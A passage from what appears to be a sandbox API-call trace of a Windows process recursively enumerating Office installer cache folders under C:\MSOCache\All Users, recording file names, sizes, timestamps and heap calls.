ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0053.801] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0053.801] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0053.801] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0053.801] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0053.802] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0053.802] GetProcessHeap () returned 0x730000 [0053.802] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0053.803] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0053.803] GetProcessHeap () returned 0x730000 [0053.803] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0053.803] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.814] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0053.815] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0053.815] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.816] GetProcessHeap () returned 0x730000 [0053.816] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0053.816] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0053.816] GetProcessHeap () returned 0x730000 [0053.816] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0053.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0053.987] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.987] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0053.987] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0053.987] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0053.989] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0053.989] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0053.989] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0053.989] GetProcessHeap () returned 0x730000 [0053.989] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0053.989] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0053.989] GetProcessHeap () returned 0x730000 [0053.989] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0053.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.002] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.002] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0054.002] GetProcessHeap () returned 0x730000 [0054.002] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2eb3898 [0054.003] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.004] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.004] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0054.004] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0054.004] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0054.004] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0054.004] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.004] GetProcessHeap () returned 0x730000 [0054.004] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2eb3898 | out: hHeap=0x730000) returned 1 [0054.004] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0054.005] GetProcessHeap () returned 0x730000 [0054.005] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2eb3898 [0054.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.006] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.006] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0054.006] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0054.006] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0054.007] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0054.007] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.007] GetProcessHeap () returned 0x730000 [0054.007] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2eb3898 | out: hHeap=0x730000) returned 1 [0054.007] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0054.007] GetProcessHeap () returned 0x730000 [0054.007] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2eb3898 [0054.007] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.007] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.007] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0054.007] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0054.008] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, 